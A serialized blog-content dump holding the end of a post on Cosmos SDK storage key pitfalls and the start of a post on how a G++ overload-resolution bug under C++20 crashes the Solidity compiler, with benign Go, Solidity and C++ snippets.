other.",{"type":24,"tag":25,"props":96148,"children":96149},{},[96150],{"type":24,"tag":57,"props":96151,"children":96154},{"href":96152,"rel":96153},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[61],[96155],{"type":29,"value":83466},{"type":24,"tag":317,"props":96157,"children":96159},{"code":96158,"language":82891,"meta":7,"className":82892,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[96160],{"type":24,"tag":284,"props":96161,"children":96162},{"__ignoreMap":7},[96163,96225,96273,96309,96349,96356,96363,96375],{"type":24,"tag":327,"props":96164,"children":96165},{"class":329,"line":330},[96166,96170,96175,96179,96184,96188,96192,96196,96200,96204,96208,96212,96216,96221],{"type":24,"tag":327,"props":96167,"children":96168},{"style":334},[96169],{"type":29,"value":83027},{"type":24,"tag":327,"props":96171,"children":96172},{"style":340},[96173],{"type":29,"value":96174}," NewKVStoreKeys",{"type":24,"tag":327,"props":96176,"children":96177},{"style":346},[96178],{"type":29,"value":349},{"type":24,"tag":327,"props":96180,"children":96181},{"style":356},[96182],{"type":29,"value":96183},"names",{"type":24,"tag":327,"props":96185,"children":96186},{"style":381},[96187],{"type":29,"value":6755},{"type":24,"tag":327,"props":96189,"children":96190},{"style":1639},[96191],{"type":29,"value":36375},{"type":24,"tag":327,"props":96193,"children":96194},{"style":346},[96195],{"type":29,"value":1674},{"type":24,"tag":327,"props":96197,"children":96198},{"style":334},[96199],{"type":29,"value":73826},{"type":24,"tag":327,"props":96201,"children":96202},{"style":346},[96203],{"type":29,"value":11329},{"type":24,"tag":327,"props":96205,"children":96206},{"style":1639},[96207],{"type":29,"value":36375},{"type":24,"tag":327,"props":96209,"children":96210},{"style":346},[96211],{"type":29,"value":22934},{"type":24,"tag":327,"props":96213,"children":96214},{"style":381},[96215],{"type":29,"value":469},{"type":24,"tag":327,"props":96217,"children":96218},{"style":1639},[96219],{"type":29,"value":96220},"KVStoreKey",{"type":24,"tag":327,"props":96222,"children":96223},{"style":346},[96224],{"type":29,"value":497},{"type":24,"tag":327,"props":96226,"children":96227},{"class":329,"line":367},[96228,96233,96237,96241,96245,96249,96253,96257,96261,96265,96269],{"type":24,"tag":327,"props":96229,"children":96230},{"style":356},[96231],{"type":29,"value":96232},"    keys",{"type":24,"tag":327,"props":96234,"children":96235},{"style":381},[96236],{"type":29,"value":83143},{"type":24,"tag":327,"props":96238,"children":96239},{"style":340},[96240],{"type":29,"value":92291},{"type":24,"tag":327,"props":96242,"children":96243},{"style":346},[96244],{"type":29,"value":349},{"type":24,"tag":327,"props":96246,"children":96247},{"style":334},[96248],{"type":29,"value":73826},{"type":24,"tag":327,"props":96250,"children":96251},{"style":346},[96252],{"type":29,"value":11329},{"type":24,"tag":327,"props":96254,"children":96255},{"style":1639},[96256],{"type":29,"value":36375},{"type":24,"tag":327,"props":96258,"children":96259},{"style":346},[96260],{"type":29,"value":22934},{"type":24,"tag":327,"props":96262,"children":96263},{"style":381},[96264],{"type":29,"value":469},{"type":24,"tag":327,"props":96266,"children":96267},{"style":1639},[96268],{"type":29,"value":96220},{"type":24,"tag":327,"props":96270,"children":96271},{"style":346},[96272],{"type":29,"value":852},{"type":24,"tag":327,"props":96274,"children":96275},{"class":329,"line":408},[96276,96280,96284,96288,96292,96296,96300,96305],{"type":24,"tag":327,"props":96277,"children":96278},{"style":425},[96279],{"type":29,"value":10643},{"type":24,"tag":327,"props":96281,"children":96282},{"style":356},[96283],{"type":29,"value":10648},{"type":24,"tag":327,"props":96285,"children":96286},{"style":346},[96287],{"type":29,"value":2744},{"type":24,"tag":327,"props":96289,"children":96290},{"style":356},[96291],{"type":29,"value":55218},{"type":24,"tag":327,"props":96293,"children":96294},{"style":381},[96295],{"type":29,"value":83143},{"type":24,"tag":327,"props":96297,"children":96298},{"style":425},[96299],{"type":29,"value":84126},{"type":24,"tag":327,"props":96301,"children":96302},{"style":356},[96303],{"type":29,"value":96304}," names",{"type":24,"tag":327,"props":96306,"children":96307},{"style":346},[96308],{"type":29,"value":497},{"type":24,"tag":327,"props":96310,"children":96311},{"class":329,"line":421},[96312,96316,96320,96324,96328,96332,96337,96341,96345],{"type":24,"tag":327,"props":96313,"children":96314},{"style":356},[96315],{"type":29,"value":6788},{"type":24,"tag":327,"props":96317,"children":96318},{"style":346},[96319],{"type":29,"value":11329},{"type":24,"tag":327,"props":96321,"children":96322},{"style":356},[96323],{"type":29,"value":55218},{"type":24,"tag":327,"props":96325,"children":96326},{"style":346},[96327],{"type":29,"value":16221},{"type":24,"tag":327,"props":96329,"children":96330},{"style":381},[96331],{"type":29,"value":384},{"type":24,"tag":327,"props":96333,"children":96334},{"style":340},[96335],{"type":29,"value":96336}," NewKVStoreKey",{"type":24,"tag":327,"props":96338,"children":96339},{"style":346},[96340],{"type":29,"value":349},{"type":24,"tag":327,"props":96342,"children":96343},{"style":356},[96344],{"type":29,"value":55218},{"type":24,"tag":327,"props":96346,"children":96347},{"style":346},[96348],{"type":29,"value":852},{"type":24,"tag":327,"props":96350,"children":96351},{"class":329,"line":450},[96352],{"type":24,"tag":327,"props":96353,"children":96354},{"style":346},[96355],{"type":29,"value":535},{"type":24,"tag":327,"props":96357,"children":96358},{"class":329,"line":481},[96359],{"type":24,"tag":327,"props":96360,"children":96361},{"emptyLinePlaceholder":16},[96362],{"type":29,"value":544},{"type":24,"tag":327,"props":96364,"children":96365},{"class":329,"line":500},[96366,96370],{"type":24,"tag":327,"props":96367,"children":96368},{"style":425},[96369],{"type":29,"value":6023},{"type":24,"tag":327,"props":96371,"children":96372},{"style":356},[96373],{"type":29,"value":96374}," keys\n",{"type":24,"tag":327,"props":96376,"children":96377},{"class":329,"line":529},[96378],{"type":24,"tag":327,"props":96379,"children":96380},{"style":346},[96381],{"type":29,"value":592},{"type":24,"tag":25,"props":96383,"children":96384},{},[96385,96387,96392,96394,96399,96401,96406],{"type":29,"value":96386},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":24,"tag":284,"props":96388,"children":96390},{"className":96389},[],[96391],{"type":29,"value":85189},{"type":29,"value":96393}," will refuse to run if any ",{"type":24,"tag":284,"props":96395,"children":96397},{"className":96396},[],[96398],{"type":29,"value":91704},{"type":29,"value":96400}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":24,"tag":284,"props":96402,"children":96404},{"className":96403},[],[96405],{"type":29,"value":91704},{"type":29,"value":96407}," level.",{"type":24,"tag":25,"props":96409,"children":96410},{},[96411,96413,96420],{"type":29,"value":96412},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":24,"tag":57,"props":96414,"children":96417},{"href":96415,"rel":96416},"https://github.com/cosmos/cosmos-sdk/issues/12661",[61],[96418],{"type":29,"value":96419},"incorrect iterator behavior",{"type":29,"value":66},{"type":24,"tag":25,"props":96422,"children":96423},{},[96424,96426,96433],{"type":29,"value":96425},"Notably, gradual adoption of the ",{"type":24,"tag":57,"props":96427,"children":96430},{"href":96428,"rel":96429},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[61],[96431],{"type":29,"value":96432},"collections",{"type":29,"value":96434}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":24,"tag":228,"props":96436,"children":96437},{"id":10412},[96438],{"type":29,"value":226},{"type":24,"tag":25,"props":96440,"children":96441},{},[96442],{"type":29,"value":96443},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":24,"tag":25,"props":96445,"children":96446},{},[96447],{"type":29,"value":96448},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":24,"tag":10448,"props":96450,"children":96451},{},[96452],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":96454},[96455,96456,96459,96462,96465,96468,96471,96474],{"id":35723,"depth":367,"text":35726},{"id":82608,"depth":367,"text":82611,"children":96457},[96458],{"id":83413,"depth":408,"text":83416},{"id":84009,"depth":367,"text":84012,"children":96460},[96461],{"id":84658,"depth":408,"text":83416},{"id":85155,"depth":367,"text":85158,"children":96463},[96464],{"id":86455,"depth":408,"text":83416},{"id":87799,"depth":367,"text":87802,"children":96466},[96467],{"id":88337,"depth":408,"text":83416},{"id":89856,"depth":367,"text":89859,"children":96469},[96470],{"id":90736,"depth":408,"text":83416},{"id":91690,"depth":367,"text":91693,"children":96472},[96473],{"id":96116,"depth":408,"text":83416},{"id":10412,"depth":367,"text":226},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":96479,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":96480,"description":96481,"author":96482,"image":96483,"date":96485,"tags":96486,"isFeatured":16,"onBlogPage":16,"body":96487,"_type":10481,"_id":99196,"_source":10483,"_file":99197,"_stem":99198,"_extension":10486},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":96484,"height":14,"width":14},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[12045,35718],{"type":21,"children":96488,"toc":99180},[96489,96494,96631,96636,96641,96646,96651,96764,96769,96774,96779,96819,96832,96837,96855,96860,96863,96869,96883,96896,96901,96914,96919,96931,96944,96949,96952,96958,96964,97021,97026,97032,97046,97081,97089,97097,97117,97123,97128,97568,97576,97620,97625,97633,97641,97680,97685,97693,97698,97701,97707,97713,97738,97750,97777,97810,97815,97818,97824,97843,98361,98374,98392,98415,98426,98431,98534,98539,98544,98558,98563,98639,98657,98662,98665,98671,98683,98695,99035,99040,99058,99063,99066,99072,99077,99095,99115,99118,99124,99143,99146,99150,99155,99166,99171,99176],{"type":24,"tag":25,"props":96490,"children":96491},{},[96492],{"type":29,"value":96493},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":24,"tag":317,"props":96495,"children":96497},{"code":96496,"language":12045,"meta":7,"className":12046,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[96498],{"type":24,"tag":284,"props":96499,"children":96500},{"__ignoreMap":7},[96501,96509,96527,96534,96551,96593,96617,96624],{"type":24,"tag":327,"props":96502,"children":96503},{"class":329,"line":330},[96504],{"type":24,"tag":327,"props":96505,"children":96506},{"style":551},[96507],{"type":29,"value":96508},"// SPDX-License-Identifier: UNLICENSED\n",{"type":24,"tag":327,"props":96510,"children":96511},{"class":329,"line":367},[96512,96517,96522],{"type":24,"tag":327,"props":96513,"children":96514},{"style":425},[96515],{"type":29,"value":96516},"pragma",{"type":24,"tag":327,"props":96518,"children":96519},{"style":334},[96520],{"type":29,"value":96521}," solidity",{"type":24,"tag":327,"props":96523,"children":96524},{"style":346},[96525],{"type":29,"value":96526}," ^0.8.25;\n",{"type":24,"tag":327,"props":96528,"children":96529},{"class":329,"line":408},[96530],{"type":24,"tag":327,"props":96531,"children":96532},{"emptyLinePlaceholder":16},[96533],{"type":29,"value":544},{"type":24,"tag":327,"props":96535,"children":96536},{"class":329,"line":421},[96537,96542,96547],{"type":24,"tag":327,"props":96538,"children":96539},{"style":334},[96540],{"type":29,"value":96541},"contract",{"type":24,"tag":327,"props":96543,"children":96544},{"style":1639},[96545],{"type":29,"value":96546}," A",{"type":24,"tag":327,"props":96548,"children":96549},{"style":346},[96550],{"type":29,"value":497},{"type":24,"tag":327,"props":96552,"children":96553},{"class":329,"line":450},[96554,96559,96564,96568,96572,96577,96581,96585,96589],{"type":24,"tag":327,"props":96555,"children":96556},{"style":334},[96557],{"type":29,"value":96558},"    function",{"type":24,"tag":327,"props":96560,"children":96561},{"style":340},[96562],{"type":29,"value":96563}," a",{"type":24,"tag":327,"props":96565,"children":96566},{"style":346},[96567],{"type":29,"value":7338},{"type":24,"tag":327,"props":96569,"children":96570},{"style":334},[96571],{"type":29,"value":68398},{"type":24,"tag":327,"props":96573,"children":96574},{"style":334},[96575],{"type":29,"value":96576}," pure",{"type":24,"tag":327,"props":96578,"children":96579},{"style":425},[96580],{"type":29,"value":82720},{"type":24,"tag":327,"props":96582,"children":96583},{"style":346},[96584],{"type":29,"value":5894},{"type":24,"tag":327,"props":96586,"children":96587},{"style":1639},[96588],{"type":29,"value":52887},{"type":24,"tag":327,"props":96590,"children":96591},{"style":346},[96592],{"type":29,"value":364},{"type":24,"tag":327,"props":96594,"children":96595},{"class":329,"line":481},[96596,96600,96604,96609,96613],{"type":24,"tag":327,"props":96597,"children":96598},{"style":425},[96599],{"type":29,"value":4944},{"type":24,"tag":327,"props":96601,"children":96602},{"style":397},[96603],{"type":29,"value":522},{"type":24,"tag":327,"props":96605,"children":96606},{"style":381},[96607],{"type":29,"value":96608}," **",{"type":24,"tag":327,"props":96610,"children":96611},{"style":397},[96612],{"type":29,"value":474},{"type":24,"tag":327,"props":96614,"children":96615},{"style":346},[96616],{"type":29,"value":405},{"type":24,"tag":327,"props":96618,"children":96619},{"class":329,"line":500},[96620],{"type":24,"tag":327,"props":96621,"children":96622},{"style":346},[96623],{"type":29,"value":535},{"type":24,"tag":327,"props":96625,"children":96626},{"class":329,"line":529},[96627],{"type":24,"tag":327,"props":96628,"children":96629},{"style":346},[96630],{"type":29,"value":592},{"type":24,"tag":25,"props":96632,"children":96633},{},[96634],{"type":29,"value":96635},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":24,"tag":25,"props":96637,"children":96638},{},[96639],{"type":29,"value":96640},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":24,"tag":25,"props":96642,"children":96643},{},[96644],{"type":29,"value":96645},"And yet, it crashes.",{"type":24,"tag":25,"props":96647,"children":96648},{},[96649],{"type":29,"value":96650},"Another minimal example?",{"type":24,"tag":317,"props":96652,"children":96654},{"code":96653,"language":12045,"meta":7,"className":12046,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[96655],{"type":24,"tag":284,"props":96656,"children":96657},{"__ignoreMap":7},[96658,96665,96680,96687,96702,96729,96750,96757],{"type":24,"tag":327,"props":96659,"children":96660},{"class":329,"line":330},[96661],{"type":24,"tag":327,"props":96662,"children":96663},{"style":551},[96664],{"type":29,"value":96508},{"type":24,"tag":327,"props":96666,"children":96667},{"class":329,"line":367},[96668,96672,96676],{"type":24,"tag":327,"props":96669,"children":96670},{"style":425},[96671],{"type":29,"value":96516},{"type":24,"tag":327,"props":96673,"children":96674},{"style":334},[96675],{"type":29,"value":96521},{"type":24,"tag":327,"props":96677,"children":96678},{"style":346},[96679],{"type":29,"value":96526},{"type":24,"tag":327,"props":96681,"children":96682},{"class":329,"line":408},[96683],{"type":24,"tag":327,"props":96684,"children":96685},{"emptyLinePlaceholder":16},[96686],{"type":29,"value":544},{"type":24,"tag":327,"props":96688,"children":96689},{"class":329,"line":421},[96690,96694,96698],{"type":24,"tag":327,"props":96691,"children":96692},{"style":334},[96693],{"type":29,"value":96541},{"type":24,"tag":327,"props":96695,"children":96696},{"style":1639},[96697],{"type":29,"value":96546},{"type":24,"tag":327,"props":96699,"children":96700},{"style":346},[96701],{"type":29,"value":497},{"type":24,"tag":327,"props":96703,"children":96704},{"class":329,"line":450},[96705,96709,96713,96717,96721,96725],{"type":24,"tag":327,"props":96706,"children":96707},{"style":334},[96708],{"type":29,"value":96558},{"type":24,"tag":327,"props":96710,"children":96711},{"style":340},[96712],{"type":29,"value":96563},{"type":24,"tag":327,"props":96714,"children":96715},{"style":346},[96716],{"type":29,"value":7338},{"type":24,"tag":327,"props":96718,"children":96719},{"style":334},[96720],{"type":29,"value":68398},{"type":24,"tag":327,"props":96722,"children":96723},{"style":334},[96724],{"type":29,"value":96576},{"type":24,"tag":327,"props":96726,"children":96727},{"style":346},[96728],{"type":29,"value":497},{"type":24,"tag":327,"props":96730,"children":96731},{"class":329,"line":481},[96732,96737,96741,96745],{"type":24,"tag":327,"props":96733,"children":96734},{"style":1639},[96735],{"type":29,"value":96736},"        uint256",{"type":24,"tag":327,"props":96738,"children":96739},{"style":346},[96740],{"type":29,"value":11329},{"type":24,"tag":327,"props":96742,"children":96743},{"style":397},[96744],{"type":29,"value":3238},{"type":24,"tag":327,"props":96746,"children":96747},{"style":346},[96748],{"type":29,"value":96749},"] data;\n",{"type":24,"tag":327,"props":96751,"children":96752},{"class":329,"line":500},[96753],{"type":24,"tag":327,"props":96754,"children":96755},{"style":346},[96756],{"type":29,"value":535},{"type":24,"tag":327,"props":96758,"children":96759},{"class":329,"line":529},[96760],{"type":24,"tag":327,"props":96761,"children":96762},{"style":346},[96763],{"type":29,"value":592},{"type":24,"tag":25,"props":96765,"children":96766},{},[96767],{"type":29,"value":96768},"Still crashes.",{"type":24,"tag":25,"props":96770,"children":96771},{},[96772],{"type":29,"value":96773},"So what’s going on?",{"type":24,"tag":25,"props":96775,"children":96776},{},[96777],{"type":29,"value":96778},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":24,"tag":317,"props":96780,"children":96782},{"code":96781,"language":35820,"meta":7,"className":35818,"style":7},"if (*lengthValue == 0) { ... }\n",[96783],{"type":24,"tag":284,"props":96784,"children":96785},{"__ignoreMap":7},[96786],{"type":24,"tag":327,"props":96787,"children":96788},{"class":329,"line":330},[96789,96793,96797,96801,96806,96810,96814],{"type":24,"tag":327,"props":96790,"children":96791},{"style":425},[96792],{"type":29,"value":5999},{"type":24,"tag":327,"props":96794,"children":96795},{"style":346},[96796],{"type":29,"value":5894},{"type":24,"tag":327,"props":96798,"children":96799},{"style":381},[96800],{"type":29,"value":469},{"type":24,"tag":327,"props":96802,"children":96803},{"style":346},[96804],{"type":29,"value":96805},"lengthValue ",{"type":24,"tag":327,"props":96807,"children":96808},{"style":381},[96809],{"type":29,"value":642},{"type":24,"tag":327,"props":96811,"children":96812},{"style":397},[96813],{"type":29,"value":6695},{"type":24,"tag":327,"props":96815,"children":96816},{"style":346},[96817],{"type":29,"value":96818},") { ... }\n",{"type":24,"tag":25,"props":96820,"children":96821},{},[96822,96824,96830],{"type":29,"value":96823},"That single comparison — a ",{"type":24,"tag":284,"props":96825,"children":96827},{"className":96826},[],[96828],{"type":29,"value":96829},"boost::rational",{"type":29,"value":96831}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":24,"tag":25,"props":96833,"children":96834},{},[96835],{"type":29,"value":96836},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":24,"tag":1380,"props":96838,"children":96839},{},[96840,96845,96850],{"type":24,"tag":179,"props":96841,"children":96842},{},[96843],{"type":29,"value":96844},"A 12-year-old overload resolution bug in G++",{"type":24,"tag":179,"props":96846,"children":96847},{},[96848],{"type":29,"value":96849},"An outdated symmetric comparison pattern in Boost",{"type":24,"tag":179,"props":96851,"children":96852},{},[96853],{"type":29,"value":96854},"A subtle but impactful rewrite rule in C++20",{"type":24,"tag":25,"props":96856,"children":96857},{},[96858],{"type":29,"value":96859},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":24,"tag":68,"props":96861,"children":96862},{},[],{"type":24,"tag":228,"props":96864,"children":96866},{"id":96865},"background-the-setup",[96867],{"type":29,"value":96868},"Background: The Setup",{"type":24,"tag":25,"props":96870,"children":96871},{},[96872,96874,96881],{"type":29,"value":96873},"If you follow the ",{"type":24,"tag":57,"props":96875,"children":96878},{"href":96876,"rel":96877},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[61],[96879],{"type":29,"value":96880},"Solidity build documentation (v0.8.30)",{"type":29,"value":96882},", you'll see it recommends:",{"type":24,"tag":1380,"props":96884,"children":96885},{},[96886,96891],{"type":24,"tag":179,"props":96887,"children":96888},{},[96889],{"type":29,"value":96890},"Boost ≥ 1.67",{"type":24,"tag":179,"props":96892,"children":96893},{},[96894],{"type":29,"value":96895},"GCC ≥ 11",{"type":24,"tag":25,"props":96897,"children":96898},{},[96899],{"type":29,"value":96900},"Ubuntu 22.04, for example, ships with:",{"type":24,"tag":1380,"props":96902,"children":96903},{},[96904,96909],{"type":24,"tag":179,"props":96905,"children":96906},{},[96907],{"type":29,"value":96908},"G++ 11.4.0",{"type":24,"tag":179,"props":96910,"children":96911},{},[96912],{"type":29,"value":96913},"Boost 1.74.0",{"type":24,"tag":25,"props":96915,"children":96916},{},[96917],{"type":29,"value":96918},"So far, so good.",{"type":24,"tag":25,"props":96920,"children":96921},{},[96922,96924,96929],{"type":29,"value":96923},"However, Solidity enabled ",{"type":24,"tag":188,"props":96925,"children":96926},{},[96927],{"type":29,"value":96928},"C++20",{"type":29,"value":96930}," in January 2025:",{"type":24,"tag":1706,"props":96932,"children":96933},{},[96934],{"type":24,"tag":25,"props":96935,"children":96936},{},[96937],{"type":24,"tag":57,"props":96938,"children":96941},{"href":96939,"rel":96940},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[61],[96942],{"type":29,"value":96943},"Enable C++20 in Solidity",{"type":24,"tag":25,"props":96945,"children":96946},{},[96947],{"type":29,"value":96948},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":24,"tag":68,"props":96950,"children":96951},{},[],{"type":24,"tag":228,"props":96953,"children":96955},{"id":96954},"part-i-a-12-year-old-g-bug-in-overload-resolution",[96956],{"type":29,"value":96957},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":24,"tag":235,"props":96959,"children":96961},{"id":96960},"whats-overload-resolution",[96962],{"type":29,"value":96963},"What’s Overload Resolution?",{"type":24,"tag":25,"props":96965,"children":96966},{},[96967,96969,96975,96977,96983,96985,96990,96992,96997,96999,97005,97007,97012,97013,97019],{"type":29,"value":96968},"In C++, when you write an expression like ",{"type":24,"tag":284,"props":96970,"children":96972},{"className":96971},[],[96973],{"type":29,"value":96974},"a == b",{"type":29,"value":96976},", the compiler chooses among available ",{"type":24,"tag":284,"props":96978,"children":96980},{"className":96979},[],[96981],{"type":29,"value":96982},"operator==",{"type":29,"value":96984}," implementations by comparing their ",{"type":24,"tag":188,"props":96986,"children":96987},{},[96988],{"type":29,"value":96989},"match quality",{"type":29,"value":96991},". A ",{"type":24,"tag":188,"props":96993,"children":96994},{},[96995],{"type":29,"value":96996},"member function",{"type":29,"value":96998}," like ",{"type":24,"tag":284,"props":97000,"children":97002},{"className":97001},[],[97003],{"type":29,"value":97004},"a.operator==(b)",{"type":29,"value":97006}," usually has higher priority than a ",{"type":24,"tag":188,"props":97008,"children":97009},{},[97010],{"type":29,"value":97011},"non-member function",{"type":29,"value":96998},{"type":24,"tag":284,"props":97014,"children":97016},{"className":97015},[],[97017],{"type":29,"value":97018},"operator==(a, b)",{"type":29,"value":97020}," — unless the types differ too much or are ambiguous.",{"type":24,"tag":25,"props":97022,"children":97023},{},[97024],{"type":29,"value":97025},"That’s the rule. But G++ didn’t always follow it.",{"type":24,"tag":235,"props":97027,"children":97029},{"id":97028},"the-bug",[97030],{"type":29,"value":97031},"The Bug",{"type":24,"tag":25,"props":97033,"children":97034},{},[97035,97037,97044],{"type":29,"value":97036},"In 2012, a bug was filed: ",{"type":24,"tag":57,"props":97038,"children":97041},{"href":97039,"rel":97040},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[61],[97042],{"type":29,"value":97043},"GCC Bug 53499 – overload resolution favors non-member function",{"type":29,"value":97045},". The issue? In expressions where:",{"type":24,"tag":1380,"props":97047,"children":97048},{},[97049,97069],{"type":24,"tag":179,"props":97050,"children":97051},{},[97052,97054,97060,97062,97067],{"type":29,"value":97053},"A class ",{"type":24,"tag":284,"props":97055,"children":97057},{"className":97056},[],[97058],{"type":29,"value":97059},"rational\u003CT>",{"type":29,"value":97061}," has a templated ",{"type":24,"tag":284,"props":97063,"children":97065},{"className":97064},[],[97066],{"type":29,"value":96982},{"type":29,"value":97068}," member function",{"type":24,"tag":179,"props":97070,"children":97071},{},[97072,97074,97080],{"type":29,"value":97073},"There's also a more generic free ",{"type":24,"tag":284,"props":97075,"children":97077},{"className":97076},[],[97078],{"type":29,"value":97079},"operator==(rational\u003CT>, U)",{"type":29,"value":44927},{"type":24,"tag":25,"props":97082,"children":97083},{},[97084],{"type":24,"tag":188,"props":97085,"children":97086},{},[97087],{"type":29,"value":97088},"Clang correctly chooses the member function.",{"type":24,"tag":25,"props":97090,"children":97091},{},[97092],{"type":24,"tag":188,"props":97093,"children":97094},{},[97095],{"type":29,"value":97096},"G++ (before v14) chooses the non-member function.",{"type":24,"tag":25,"props":97098,"children":97099},{},[97100,97102,97107,97109,97116],{"type":29,"value":97101},"Why? Because G++ mishandles ",{"type":24,"tag":188,"props":97103,"children":97104},{},[97105],{"type":29,"value":97106},"templated conversion + non-exact match",{"type":29,"value":97108},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":24,"tag":57,"props":97110,"children":97113},{"href":97111,"rel":97112},"https://cplusplus.github.io/CWG/issues/532.html",[61],[97114],{"type":29,"value":97115},"CWG532: Member/nonmember operator template partial ordering",{"type":29,"value":66},{"type":24,"tag":235,"props":97118,"children":97120},{"id":97119},"a-minimal-reproducer",[97121],{"type":29,"value":97122},"A Minimal Reproducer",{"type":24,"tag":25,"props":97124,"children":97125},{},[97126],{"type":29,"value":97127},"Let’s see this in action:",{"type":24,"tag":317,"props":97129,"children":97131},{"code":97130,"language":35820,"meta":7,"className":35818,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[97132],{"type":24,"tag":284,"props":97133,"children":97134},{"__ignoreMap":7},[97135,97148,97155,97180,97196,97204,97228,97273,97301,97316,97323,97330,97337,97373,97442,97467,97482,97489,97496,97512,97537,97561],{"type":24,"tag":327,"props":97136,"children":97137},{"class":329,"line":330},[97138,97143],{"type":24,"tag":327,"props":97139,"children":97140},{"style":425},[97141],{"type":29,"value":97142},"#include",{"type":24,"tag":327,"props":97144,"children":97145},{"style":844},[97146],{"type":29,"value":97147}," \u003Ciostream>\n",{"type":24,"tag":327,"props":97149,"children":97150},{"class":329,"line":367},[97151],{"type":24,"tag":327,"props":97152,"children":97153},{"emptyLinePlaceholder":16},[97154],{"type":29,"value":544},{"type":24,"tag":327,"props":97156,"children":97157},{"class":329,"line":408},[97158,97162,97166,97171,97176],{"type":24,"tag":327,"props":97159,"children":97160},{"style":334},[97161],{"type":29,"value":72940},{"type":24,"tag":327,"props":97163,"children":97164},{"style":346},[97165],{"type":29,"value":4927},{"type":24,"tag":327,"props":97167,"children":97168},{"style":334},[97169],{"type":29,"value":97170},"typename",{"type":24,"tag":327,"props":97172,"children":97173},{"style":1639},[97174],{"type":29,"value":97175}," IntType",{"type":24,"tag":327,"props":97177,"children":97178},{"style":346},[97179],{"type":29,"value":9571},{"type":24,"tag":327,"props":97181,"children":97182},{"class":329,"line":421},[97183,97187,97192],{"type":24,"tag":327,"props":97184,"children":97185},{"style":334},[97186],{"type":29,"value":77135},{"type":24,"tag":327,"props":97188,"children":97189},{"style":1639},[97190],{"type":29,"value":97191}," rational",{"type":24,"tag":327,"props":97193,"children":97194},{"style":346},[97195],{"type":29,"value":497},{"type":24,"tag":327,"props":97197,"children":97198},{"class":329,"line":450},[97199],{"type":24,"tag":327,"props":97200,"children":97201},{"style":334},[97202],{"type":29,"value":97203},"public:\n",{"type":24,"tag":327,"props":97205,"children":97206},{"class":329,"line":481},[97207,97212,97216,97220,97224],{"type":24,"tag":327,"props":97208,"children":97209},{"style":334},[97210],{"type":29,"value":97211},"    template",{"type":24,"tag":327,"props":97213,"children":97214},{"style":346},[97215],{"type":29,"value":4927},{"type":24,"tag":327,"props":97217,"children":97218},{"style":334},[97219],{"type":29,"value":77135},{"type":24,"tag":327,"props":97221,"children":97222},{"style":1639},[97223],{"type":29,"value":13486},{"type":24,"tag":327,"props":97225,"children":97226},{"style":346},[97227],{"type":29,"value":9571},{"type":24,"tag":327,"props":97229,"children":97230},{"class":329,"line":500},[97231,97235,97240,97245,97249,97253,97257,97261,97265,97269],{"type":24,"tag":327,"props":97232,"children":97233},{"style":334},[97234],{"type":29,"value":53192},{"type":24,"tag":327,"props":97236,"children":97237},{"style":334},[97238],{"type":29,"value":97239}," 